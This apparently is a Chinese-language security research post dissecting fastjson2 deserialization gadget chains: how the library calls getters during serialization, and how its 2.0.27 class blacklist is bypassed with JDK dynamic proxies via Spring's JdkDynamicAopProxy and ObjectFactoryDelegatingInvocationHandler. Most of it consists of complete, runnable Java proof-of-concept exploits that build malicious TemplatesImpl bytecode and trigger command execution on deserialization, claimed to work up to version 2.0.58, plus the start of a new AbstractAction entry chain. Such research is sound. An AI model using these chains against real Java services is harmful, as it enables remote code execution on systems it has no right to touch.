    再后面就可以通过调用这个类的write()方法从而调用对应序列化类的getter方法达到JSON序列化的目的:

    图片.png

    但是由于这一个过程是在内存中进行的,也就是没有实际的java文件落地,只能通过监听内存从而获取这个类的内容。

    这里可以使用arthas工具,我们需要将运行代码改成如下:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import java.lang.reflect.Field;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            try{
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", templates);
            jsonObject.toString();
            }catch (Exception e){
                while(true){
    
                }
        }
    
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    众所周知在成功完成一次动态加载字节码后会报错退出,所以我们需要在这里加一个自循环从而让程序不会退出,然后运行并使用arthas工具监听即可:

    图片.png

    在前面我们已经知道了对应类的包名,也就可以知道它的路径,然后用工具将其反编译出来:

    jad com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl
    

    然后就可以拿到生成的类了,这里简单截取一些write()方法的代码:

    if ((var12_11 = ((TemplatesImpl)var2_2).getOutputProperties()) == null) break block19;
                            var14_12 = var1_1.isRefDetect();
                            if (!var14_12) ** GOTO lbl-1000
                            if (var2_2 == var12_11) {
                                this.fieldWriter0.writeFieldName(var1_1);
                                var1_1.writeReference("..");
                            } else {
                                var13_13 = var1_1.setPath(this.fieldWriter0, (Object)var12_11);
                                if (var13_13 != null) {
                                    this.fieldWriter0.writeFieldName(var1_1);
                                    var1_1.writeReference(var13_13);
                                    var1_1.popPath(var12_11);
                                } else lbl-1000:
                                // 2 sources
    
                                {
                                    this.fieldWriter0.writeFieldName(var1_1);
                                    this.fieldWriter0.getObjectWriter(var1_1, var12_11.getClass()).write(var1_1, var12_11, "outputProperties", (Type)Properties.class, 0L);
                                }
                            }
                            break block20;
                        }
                        if ((var8_6 & 16L) != 0L) {
                            this.fieldWriter0.writeFieldName(var1_1);
                            var1_1.writeNull();
                        }
                    }
                    var15_14 = ((TemplatesImpl)var2_2).getStylesheetDOM();
                    if (var15_14 == null) break block21;
                    if (var1_1.isIgnoreNoneSerializable(var15_14)) break block22;
                    var14_12 = var1_1.isRefDetect();
                    if (!var14_12) ** GOTO lbl-1000
                    if (var2_2 == var15_14) {
                        this.fieldWriter1.writeFieldName(var1_1);
                        var1_1.writeReference("..");
                    } else {
                        var13_13 = var1_1.setPath(this.fieldWriter1, (Object)var15_14);
                        if (var13_13 != null) {
                            this.fieldWriter1.writeFieldName(var1_1);
                            var1_1.writeReference(var13_13);
                            var1_1.popPath(var15_14);
                        } else lbl-1000:
                        // 2 sources
    
                        {
                            this.fieldWriter1.writeFieldName(var1_1);
                            this.fieldWriter1.getObjectWriter(var1_1, var15_14.getClass()).write(var1_1, var15_14, "stylesheetDOM", this.fieldWriter1.fieldType, 0L);
                        }
                    }
                    break block22;
                }
                if ((var8_6 & 16L) != 0L) {
                    this.fieldWriter1.writeFieldName(var1_1);
                    var1_1.writeNull();
                }
            }
            if ((var16_15 = ((TemplatesImpl)var2_2).getTransletIndex()) != 0 || var10_7 == false) {
                this.fieldWriter2.writeInt32(var1_1, var16_15);
            }
            var1_1.endObject();
    

    在这个部分代码中,我们可以看到调用了对应的三个getter方法,顺序是getOutputProperties() => getStylesheetDOM() => getTransletIndex()

    从而达到通过调用getter方法获取到对应field值的效果。

    至此,在可行版本下序列化的过程调试分析完毕。

    绕过限制再次达成攻击

    那么官方在2.0.27版本下在哪些方面做了限制导致前面的链子不能执行呢,修改fastjson2的版本来探究一下:

    <!-- <https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2> -->
    <dependency>
        <groupId>com.alibaba.fastjson2</groupId>
        <artifactId>fastjson2</artifactId>
        <version>2.0.27</version>
    </dependency>
    

    那么在新的修复中做了哪些改变呢,再次过了一遍了流程,主要做出的改变就是在BeanUtils类的getters()方法中加了一个黑名单:

    图片.png

    从前面的调试分析中知道BeanUtils#getters()就是一个处理类中的method的非常关键的方法,前后流程对比可以在2.0.27版本中是多了如图的这几行代码,对传参的objectClass进行了判断,也就是对要序列化的类进行了处理,只要符合条件就直接退出了流程的继续,跟进这个ignore()方法:

    static boolean ignore(Class objectClass) {
            if (objectClass == null) {
                return true;
            }
    
            String name = objectClass.getName();
            switch (name) {
                case "javassist.CtNewClass":
                case "javassist.CtNewNestedClass":
                case "javassist.CtClass":
                case "javassist.CtConstructor":
                case "javassist.CtMethod":
                case "org.apache.ibatis.javassist.CtNewClass":
                case "org.apache.ibatis.javassist.CtClass":
                case "org.apache.ibatis.javassist.CtConstructor":
                case "org.apache.ibatis.javassist.CtMethod":
                case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
                case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
                case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
                case "org.apache.wicket.util.io.DeferredFileOutputStream":
                case "org.apache.xalan.xsltc.trax.TemplatesImpl":
                case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
                case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
                case "org.apache.commons.collections.functors.ChainedTransformer":
                    return true;
                default:
                    break;
            }
            return false;
        }
    

    很容易看出这里就是添加了一个黑名单,其中过滤了一些非常关键的如TemplatesImpl、AbstractTranslet类,由于我们传参的类为TemplatesImpl类,匹配到这里的逻辑,导致直接return退出,不会再进行后续的操作。

    但是这里还是可以通过动态代理来绕过。

    JdkDynamicAopProxy链

    这里使用到的类就是JdkDynamicAopProxy类,需要有spring-aop依赖:

    <dependency>
          <groupId>org.springframework</groupId>
          <artifactId>spring-aop</artifactId>
          <version>5.3.19</version>
        </dependency>
    

    我们在jackson不稳定性绕过以及SpringAOP链中都使用到了这个类,是一个功能非常强大的类,这里主要的思路就是利用jackson解决不稳定性的方法来分析利用(个人认为fastjson2不会存在这个不稳定性,因为在成功创建了所有的fieldWriterMap后,还会调用Collections.sort()进行排序,故应该不会存在先后问题错误导致直接退出),然后这里讲讲这里的JdkDynamicAopProxy类的利用点:

    这里主要利用的是它的invoke()方法,基本构造就是最初学习时的格式:

    图片.png

    在这里主要的利用点就是如下代码:

    图片.png

    只要可控这里的target,并且控制chain为空,那么就可以调用到AopUtils类的invokeJoinpointUsingReflection方法:

    图片.png

    那么恰巧的是,这些参数是可控的,并且在SpringAOP链的学习中,可以知道我们需要调用AdvisedSupport类addAdvisor()方法来给其变量advisors赋值从而可以满足后续的条件从而可以让这里的chain不为空进入else语句进而继续后续链子的调用,那么在这里正如jackson那个的解决方法一样,直接默认即可让变量advisors为空从而直接让chain为空从而进入if语句,所以只需要控制targetSource.getTarget()返回值对应即可,而这里的AdvisedSupport类有好用的方法:

    图片.png

    直接用这里的SingletonTargetSource类即可。所以只要在代理对象调用到getOutputProperties(),就会进入到这里的invoke()方法,并且控制getTarget()返回对象为构造好的TemplatesImpl类即可。

    简单思路就是如上,并且和jackson调用链绕过的流程可以说非常像,现在我们就需要注意调用fastjson序列化时的过程了,这里我们会利用到动态代理,先来简单看一个本地demo:

    图片.png

    可以看到对代理类调用getClass()的结果为class com.sun.proxy.$Proxy0,并且再调用getMethods()时的结果是从接口中获取到的方法,也就是Templates.class接口类的中的方法。

    所以思路其实很清晰了,这里的proxy又不在黑名单里面,又可以获取到想利用的getter方法,又可以控制TempltesImpl类,所以简单的poc如下:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    
    import javax.xml.transform.Templates;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
            Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
            cons.setAccessible(true);
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(templates);
            InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
            Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxyObj);
            jsonObject.toString();
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    运行弹出计算机。然后在分析调试的过程中,发现还是和自己分析的过程不一样,重点在BeanUtils#getter()中,如下:

    图片.png

    这里很容易看出来就是判断这里是否为代理类,如果是的话就获取接口然后再次调用getter方法,当时简单跟了一下以为会判定为false,结果差点就功亏一篑呀,根据调试继续跟进:

    跟进isProxyClass()方法:

    图片.png

    前面会判定为true不奇怪,proxyClassCache变量定义如下:

    图片.png

    想当然以为containsValue()方法就是看是否包含对应的值,其实并不是,这里会包含,代码比较简单就不跟进了,还是要看类中的代码呀。故这里会进入到if语句中获取对应代理类的接口:

    图片.png

    后续的过程基本就清楚了,就是让objectClass变为了Templates.class,再次调用getter方法,幸好黑名单里面没有Templates.class,也就对应上了参考文章里说Templates.class没有上黑名单由此想出的这个绕过,然后获取其Method,然后创建fieldWriterMap并调用wirte()方法进行序列化从而触发到JdkDynamicAopProxy类的invoke()方法从而进行命令执行:

    图片.png

    但是在这里的Proxy.isProxyClass()的判断中,可以注意到这里的if条件。要求interfaces只能为一个,那么我是否可以让interfaces为两个或更多,来让objectClass不会改变,从而在proxy.getClass().getMethods()这里来获取到对应方法并进行后续处理呢,简单尝试如下:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    
    import javax.xml.transform.Templates;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
            Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
            cons.setAccessible(true);
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(templates);
            InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
            Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxyObj);
            jsonObject.toString();
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    运行同样可以弹出计算机。我这里是在接口处加了一个AutoCloseable.class,让接口获取不再是一个:

    图片.png

    从而在ignore()判断中返回false:

    图片.png

    从而继续后续调用链的进行来调用到write()方法。所以从这里来看,至少需要同时ban掉Templates和com.sun.proxy.$Proxy0才能完全禁止反序列化调用链的进行,看后面绕过还用不用得到。

    经测试到目前最新的2.0.58版本都能使用只有Templates.class的链子打,就看后续会怎么修复吧。

    并且后面版本的fastjson的黑名单变成了hash值计算的结果,而且加密逻辑都在代码中有体现。

    最后可以用来序列化攻击的poc如下:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
            Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
            cons.setAccessible(true);
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(templates);
            InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
            Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxyObj);
    
            BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
            Field field = bad.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(bad, jsonObject);
    
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            out.writeObject(bad);
            out.close();
    
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
            in.readObject();
            in.close();
    
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    并且两个接口类的也可以用:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
            Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
            cons.setAccessible(true);
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(templates);
            InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
            Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxyObj);
    
            BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
            Field field = bad.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(bad, jsonObject);
    
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            out.writeObject(bad);
            out.close();
    
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
            in.readObject();
            in.close();
    
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    ————————

    ObjectFactoryDelegatingInvocationHandler+JSONObject链

    这个类是一个内部类,实现了InvocationHandler和Serializable两个接口,在spring-beans依赖中,而spring-aop中本身就拉入了spring-beans依赖:

    图片.png

    所以也是可以说spring中都能打的。

    跟进这个类的invoke()方法:

    图片.png

    非常清晰了,只是需要代理类调用getOutputProperties,这个好解决,代理类设置Templates.class接口即可,再看一下是否有可利用的ObjectFactory类,这是一个接口类,但是并没有合适的重写的方法,但是看参考文章,利用了JSONObject类的invoke()方法:

    图片.png

    这个类也能被代理,跟进它的invoke()方法:

    图片.png

    先获取方法名,然后方法参数个数,后续跟进的代码应该是如下:

    图片.png

    可以知道参数个数为0,然后对getter方法进行处理,然后调用get()方法来进行获取值:

    图片.png

    跟进发现其实就是LinkedHashMap中取值,直接往里面放入一个键值对即可。

    最后的poc如下:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    import org.springframework.beans.factory.ObjectFactory;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            //第一个JSONObject代理
            JSONObject jsonObject0 = new JSONObject();
            jsonObject0.put("object",templates);
            Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
    
            //第二个代理
            Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
            constructor.setAccessible(true);
            Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler)constructor.newInstance(proxy0));
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxy1);
    
            //toString
            BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
            Field field = bad.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(bad, jsonObject);
    
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            out.writeObject(bad);
            out.close();
    
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
            in.readObject();
            in.close();
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
    }
    

    运行在反序列化时弹出计算机,并且调试符合前面的过程。

    同样是可以使用两个接口来进行前面所述的利用:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    import org.springframework.beans.factory.ObjectFactory;
    import javax.management.MBeanServer;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            //使用javassist定义恶意代码
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            //第一个SONObject代理
            JSONObject jsonObject0 = new JSONObject();
            jsonObject0.put("object",templates);
            Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
    
            //第二个代理
            Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
            constructor.setAccessible(true);
            Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class,AutoCloseable.class},(InvocationHandler)constructor.newInstance(proxy0));
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxy1);
    
            //toString
            BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
            Field field = bad.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(bad, jsonObject);
    
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            out.writeObject(bad);
            out.close();
    
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
            in.readObject();
            in.close();
        }
    
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
    }
    

    这样就同样需要ban掉Templates和com.sun.proxy.$Proxy1才能完全限制。

    同样在最新版本2.0.58也能打。

    非常好的绕过方式,可惜大部分情况应该都是只能在spring下打,当然如参考文章一样,还可以尝试打没ban的类,而不是就磕TemplatesImpl,比如我的c3p0分析文章就有一个反序列化打jndi。

    新的反序列化toString入口类

    基本说明

    在先知文章看到的一个新的入口点:

    https://xz.aliyun.com/news/18467

    文中提到的链子如下:

    javax.swing.AbstractAction#readObject ->
        javax.swing.AbstractAction#putValue ->
            javax.swing.AbstractAction#firePropertyChange ->
                com.sun.org.apache.xpath.internal.objects.XString#equals
    

    所以这里只是换了一个入口类而已,但是这里的一个思想非常好,当HashMap、Hashtable、HashSet等类都被ban了可以来用这个类(注意后续链子的类是否被ban,这些都是需要考虑的),但是都绕不开一个点就是XString,先来跟一下基本的链子:

    AbstractAction类的readObject()方法:

    图片.png

    再跟进putValue()方法:

    图片.png

    再看firePropertyChange()方法:

    图片.png

    很明显了,这里就是要让oldValue为为String,让newValue为例如JSONObject这种要利用其toString方法的类。

    再看writeObject()方法:

    图片.png

    整个过程都是与arrayTable变量相关的:

    图片.png

    由于实现了transient,故在writeObject()方法中实现了对这个变量的序列化。并且与反序列化时的putValue()也是对应的。

    基本过程已经清楚,现在来尝试构造。

    尝试构造

    首先可以看到AbstractAction是一个抽象类,不能直接序列化,需要找它的实现类来作为入口点:

    图片.png

    这里就直接同参考文章一样用AlignmentAction类作为入口,这里应该第二个ActivateLinkAction应该也可以用,具体就到时候看有无黑名单吧。

    来看AlignmentAction的构造函数:

    图片.png

    这里会一直向上传递String类型的nm参数,直到AbstractAction类的“实例化”:

    图片.png

    NAME变量定义如下:

    图片.png

    故这里会在实例化时就放进去一个键值对。

    这里有一个不得不说的逻辑,且看慢慢道来,先看AbstractAction类的putValue()方法:

    public void putValue(String key, Object newValue) {
            Object oldValue = null;
            if (key == "enabled") {
                if (newValue == null || !(newValue instanceof Boolean)) {
                    newValue = false;
                }
                oldValue = enabled;
                enabled = (Boolean)newValue;
            } else {
                if (arrayTable == null) {
                    arrayTable = new ArrayTable();
                }
                if (arrayTable.containsKey(key))
                    oldValue = arrayTable.get(key);
                // Remove the entry for key if newValue is null
                // else put in the newValue for key.
                if (newValue == null) {
                    arrayTable.remove(key);
                } else {
                    arrayTable.put(key,newValue);
                }
            }
            firePropertyChange(key, oldValue, newValue);
        }
    

    毫无疑问这里主要的逻辑就是:

    arrayTable = new ArrayTable();
    arrayTable.put(key,newValue);
    firePropertyChange(key, oldValue, newValue);
    

    也就是放入键值对并进行比较的问题。从代码逻辑可以看出,每次putValue后都会调用一次firePropertyChange()方法:

    图片.png

    这里有一个非常关键的逻辑:||(逻辑或),也就是只要左边为true,右边就不会再进行计算,整个条件就会被判定为真。所以在<u>序列化前放入键值对无影响</u>,但是反序列化时需要有这个变量,故我在序列化前调用反射修改值即可,并且什么,还可以防止在序列化前第二次调用putValue()方法放进值时触发euqlas()方法从而弹出计算机,原因很好理解了就不多说了。

    跟进changeSupport变量的定义:

    图片.png

    找到对应的SwingPropertyChangeSupport类:

    图片.png

    故我反射修改变量changeSupport为这个类实例即可。

